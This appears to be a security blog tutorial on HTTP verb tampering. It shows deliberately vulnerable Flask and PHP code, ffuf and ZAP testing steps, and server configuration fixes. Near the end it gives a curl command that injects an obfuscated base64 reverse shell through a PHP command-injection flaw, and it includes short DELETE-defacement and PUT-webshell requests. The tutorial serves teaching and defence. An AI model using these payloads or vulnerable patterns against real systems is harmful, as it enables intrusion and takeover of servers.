HTTP Verb Testing

INTRODUCTION

HTTP Verbs

Every HTTP request starts with a single word. 99% of the time, it’s either GET or POST. If you’ve ever programmed a REST API, perhaps you’ve also used PUT and DELETE. Here’s the request your browser made when visiting my website:

GET https://4wayhandshake.github.io/ HTTP/1.1
host: 4wayhandshake.github.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-GPC: 1

The full list of HTTP verbs is as follows:

VerbPurpose
GETRead a resource
POSTSend some data
PUTCreate a new resource
DELETEDelete existing resource
HEADGet just the response header, no body
PATCHPartially modify a resource
OPTIONSAsk the server how it wants to be communicated with
CONNECTAsk to establish a tunnel to the requested resource
TRACERequest the server to reply to you what you just sent it
TRACKSame as TRACE

Why is this important?

Some websites, web apps, or APIs will handle requests in ways they don’t intend when they’re send requests using unexpected HTTP verbs. This can end up being a security flaw. It is important to test “alternative” HTTP verbs because we may be able to leverage the programming/configuration flaws into a whole slew of bypasses.

Whether it’s due to misconfiguration or poor programming, what we’re testing for is a scenario where protective mechanisms are applied only for certain HTTP verbs, leaving other HTTP verbs unhindered.

Flask Example

Take the following terribly-written Flask server as an example. It should accept requests to /account, and only “authenticate” the user if the user provides one of the allowed session IDs in POST body session_id parameter:

from flask import Flask, request, jsonify

HTTP_METHODS = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD', 'CONNECT', 'TRACE']

app = Flask(__name__)

# Hardcoded list of approved session IDs
APPROVED_SESSION_IDS = {"abc123", "def456", "ghi789"}

@app.route('/account', methods=HTTP_METHODS)
def account():
    session_id = request.form.get('session_id')
    if request.method == 'GET':
        return jsonify({"error": "Method not allowed. Only POST /account is allowed."}), 405
    elif request.method == 'POST':
        if not session_id:
            return jsonify({"error": "Unauthorized. Must provide session_id in request body."}), 403
        if session_id not in APPROVED_SESSION_IDS:
            return jsonify({"error": "Unauthorized. Session ID is not on the list."}), 403
    return jsonify({"message": "ACCESS GRANTED. Here is all your account details"}), 200

if __name__ == '__main__':
    app.run('127.0.0.1', 8000, debug=True)

Run the server locally:

python3 flask_test.py

This is the intended interaction with the server:

flask api

Looks good, right? We’ve granted access to the approved session ID, and denied it to the other one.

Let’s try that last request again, but use an unexpected HTTP verb:

flask api 2

The unauthorized session ID sneaks its way through!

🙄 I know, I know… this example is pretty contrived. The flawed logic is pretty obvious when you use Python.

However, the web is a diverse place, and some people are very sloppy programmers! It may seem silly, but this bug definitely exists in the wild.

TESTING

Identify the scenario

When do we try playing with this trick? It’s not efficient to start spraying HTTP verbs on all over the place whenever you enumerate a target. Instead, the time to attempt something like this is when our actions are denied by some kind of security mechanism (usually something running server-side).

Examples include:

  • Denied SQL injection because of some regex
  • Denied viewing account details when checking another user, via some IDOR
  • Denied accessing an API endpoint because we didn’t provide the right API token

Using ZAP

Start off by proxying a request into ZAP. The easiest way is to issue a cURL request (like in the previous section) to the server, but also include a --proxy argument. Use a request that will deny you the resource:

curl --proxy 127.0.0.1:8080 -X POST -d 'session_id=abc456' http://127.0.0.1:8000/account

Within ZAP, find the request in the History tab, right click it, and select “"Open in Requester Tab…”. Within the requester tab, you can freely modify the request and send it again:

Testing with ZAP 1

When testing for HTTP verbs, it’s simplest to open a new request in the Requester tab, and copy-paste in the previous attempt. From there, you can use the Method dropdown menu to select a different HTTP verb:

Testing with ZAP 2

Selecting a new HTTP verb may modify the request. In this case, I had to reset the content-type header for the parameter to be accepted by the server. Testing with ZAP 3

From this, we can see that modifying the HTTP verb was enough to bypass the authorization check.

Using Ffuf

Testing alternative HTTP verbs is even easier using ffuf. Seclists has a good wordlist to start with, but it is too big for our purposes, so we will only use the first 11 lines:

WLIST=http_verbs.txt
head -n 11 /usr/share/seclists/Fuzzing/http-request-methods.txt > http_verbs.txt
ffuf -w $WLIST -u http://127.0.0.1:8000 -X FUZZ -d 'session_id=1337' -mc all

Now let’s try every HTTP verb against the /account endpoint, providing a bogus session_id:

ffuf -w $WLIST -u http://127.0.0.1:8000/account -X FUZZ -d 'session_id=1337' -r -c -mc all

ffuf 1

If we only want to see positive results, filter out any HTTP 405 responses, or any containing the word “Unauthorized”:

ffuf -w $WLIST -u http://127.0.0.1:8000/account -X FUZZ -d 'session_id=1337' -r -c -mc all -fc 405 -fr 'Unauthorized'

ffuf 2

I think using ffuf is a little easier than using ZAP (or Burp), as long as the request is quite simple. It’s really easy to construct the attack, and gives results that are very easy to read.

However, if the target uses extra protective mechanisms (ex. anti-CSRF tokens), then it’s easier to use something more fully-featured, like ZAP.

Using Python

The best library to use when making any kind of web requests is requests.

Something really handy about requests is that various aspects of an HTTP request are interchangable. For example, we can easily change from a POST request to a GET request by changing this…

data = {
    'uid': uid,
    'username': username
}
reset_response = s.post(f'{target}/reset.php', data=data)

…into this:

data = {
    'uid': uid,
    'username': username
}
reset_response = s.get(f'{target}/reset.php', params=data)

I.e just exchange post for get, and exchange data for params. This effectively transforms the following HTTP request…

POST http://target.tld HTTP/1.1

uid={uid}&username={username}

…into this:

GET http://target.tld?uid={uid}&username={username} HTTP/1.1

Super handy!

CAUSE: MISCONFIGURATION

Every major http server application has some way to completely eliminate HTTP verb vulnerabilities. However, the server administrators may have inadequate knowledge of how to use them, or may misconfigure the server from sheer human error.

Even though the technologies are very hardened, once again the point of failure is the human administrator. Everybody makes mistakes; some of these mistakes manifest themselves as security vulnerabilities 😁

Next I’ll show how four prominent types of webservers could be misconfigured to produce an HTTP verb vulnerability (and how to fix them). We’ll cover Apache, Nginx, Tomcat, and ASP.

Apache

<VirtualHost *:80>
    DocumentRoot /var/www/html
    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>

A client could make whatever malicious requests they want, such as DELETE index.html to deface the site:

DELETE /index.html HTTP/1.1
Host: attackme.tld

We can fix this by allow-listing only our intended HTTP verbs - in this case, GET and POST. In Apache, we can use the LimitExcept clause:

<VirtualHost *:80>
    DocumentRoot /var/www/html
    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
        <LimitExcept GET POST>
            Require all denied
        </LimitExcept>
    </Directory>
</VirtualHost>

Only GET and POST requests will be allowed.

Nginx

server {
    listen 80;
    server_name attackme.tld;
    root /var/www/html;
}

This configuration is wide open, just like the Apache example. A client could use any HTTP method maliciously - for example, they could upload a webshell:

PUT /webshell.php HTTP/1.1
Host: attackme.tld

To fix this, we again invoke an allow-list for only the desired HTTP methods:

server {
    listen 80;
    server_name example.com;
    root /var/www/html;
    location / {
        limit_except GET POST {
            deny all;
        }
    }
}

☝️ I know it says deny all, but should actually still be considered an “allow-list” because we’re using a limit_except clause.

Tomcat

<web-app>
    <servlet>
        <servlet-name>example</servlet-name>
        <servlet-class>tld.attackme.MyServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>example</servlet-name>
        <url-pattern>/example</url-pattern>
    </servlet-mapping>
</web-app>

The main things that should catch your eye as a tester are:

  • no HTTP methods are mentioned
  • no roles are mentioned

Again, this opens up the server to requests by any HTTP method. The fix is conceptually the same as with Apache or Nginx - intruduce an allow-list:

<web-app>
    <!-- ... same as above ... -->
    <security-constraint>
        <web-resource-collection>
            <web-resource-name>Example</web-resource-name>
            <url-pattern>/example</url-pattern>
            <http-method>GET</http-method>
            <http-method>POST</http-method>
        </web-resource-collection>
        <auth-constraint>
            <role-name>any</role-name>
        </auth-constraint>
    </security-constraint>
</web-app>

ASP.net (Microsoft IIS)

Here’s an example web.config file that causes the server to listen for any HTTP method:

<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <!-- Default configuration allows all verbs -->
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

Once again, the solution is to apply an allow-list for the desired HTTP methods:

<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <verbs>
                    <add verb="GET" allowed="true" />
                    <add verb="POST" allowed="true" />
                    <add verb="*" allowed="false" />
                </verbs>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

CAUSE: SLOPPY CODE

Flask - broken logic example

My Python Flask server at the beginning of this article is a good example of how sloppy coding can lead to an HTTP verb vulnerability. In that example, I purposefully introduced a logical error into the handling of the /account endpoint:

def account():
    session_id = request.form.get('session_id')
    if request.method == 'GET':
        return jsonify({"error": "Method not allowed. Only POST /account is allowed."}), 405
    elif request.method == 'POST':
        if not session_id:
            return jsonify({"error": "Unauthorized. Must provide session_id in request body."}), 403
        if session_id not in APPROVED_SESSION_IDS:
            return jsonify({"error": "Unauthorized. Session ID is not on the list."}), 403
    return jsonify({"message": "ACCESS GRANTED. Here is all your account details"}), 200

There are two issues:

  1. inconsistent handling of cases in an if-else chain
  2. wrongly assumed that only GET and POST would ever be used

To fix (1), just write cleaner code. Follow whatever style guide your language or organization suggest. In my opinion, you should always have the “default” left as the final (implied) else branch, and that default should always be the secure, no-risk option.

To fix (2), you can actually just clean up the code a little - remove the check for GET entirely, and only check for POST:

def account():
    if request.method == 'POST':
        session_id = request.form.get('session_id')
        if not session_id:
            return jsonify({"error": "Unauthorized. Must provide session_id in request body."}), 403
        if session_id in APPROVED_SESSION_IDS:
            return jsonify({"message": "ACCESS GRANTED. Here is all your account details"}), 200
        return jsonify({"error": "Unauthorized. Session ID is not on the list."}), 403
    return jsonify({"error": "Method not allowed. Only POST /account is allowed."}), 405

PHP - inconsistent reference to parameters

Consider a server running the following PHP script, called log.php. It is supposed to accept a 6-digit user ID, then log that user ID into the file users.log. Pretend this is an API endpoint GET /log.php?id=[user_id]:

<?php
if(preg_match("/^[0-9]{6}$/", $_GET["id"])) {
    $user = "user_" . $_REQUEST["id"];
    $cmd = "echo $user >> users.log";
    $output = system($cmd, $return_val);
    if ($return_val === 0) {
        echo(" :) User logged successfully");
        header("HTTP/1.1 200 OK");
    } else {
        echo(" :( An error occurred!");
        header("HTTP/1.1 500 Internal Server Error");
    }
}else{
    echo(" :| Only 6-digit user IDs are allowed");
    header("HTTP/1.1 400 Bad Request");
}
?>

The regex looks good, and no info is leaked when we do the redirect… so what’s the problem?

The issue is due to referencing the id parameter inconsistently 😱

In PHP, the $_GET variable is an array of the URL parameters, whereas the $_REQUEST variable can also include parameters passed through the request body. Since the request body is parsed after the URL parameters, you can cause PHP to overwrite the URL parameter with the one provided in the request body! 😇

The above PHP allows any HTTP method, but it’s written as if it assumes only GET will ever be used. Let’s demonstrate - run a local server:

php -S 127.0.0.1:8000

Now let’s try using it as it was intended:

php example

Great, now let’s try sneaking a bad user ID through:

php example 2

The contents of users.log shows which parameter was actually logged:

user_123456
user_obviously_1337

🙄 Alright, that’s not good. But who cares about some stupid log file, right? How about something a little more impactful? Let’s say the malicious client sends in a request like this:

curl http://127.0.0.1:8000/log.php?id=123456 -d 'id=lulz;echo -n c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzkwMDAgMD4mMQ== | base64 -d | bash -i'

reverse shell

☝️ The blue tab is the PHP server running locally. The red tabs are simulating the activities of a malicious client attacking the PHP server remotely.

🙃 We can utilize the mishandling of HTTP verbs to sneak through to the underlying command injection vulnerability, and pop a reverse shell on the system!

CONCLUSION

HTTP verbs are part of every web request we make. Due to a lack of understanding, laziness, or plain human error, developers and administrators can introduce serious security flaws into their systems. We’ve seen how simple flaws in logic and server configuration can cause these vulnerabilities, but also discussed how to fix them. From the penetration tester perspective, we’ve also outlined how to approach the testing for HTTP verb vulnerabilities from a couple of different perspectives.

Whether you’re a tester, a developer, or an administrator, I hope you’ve found this useful!


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake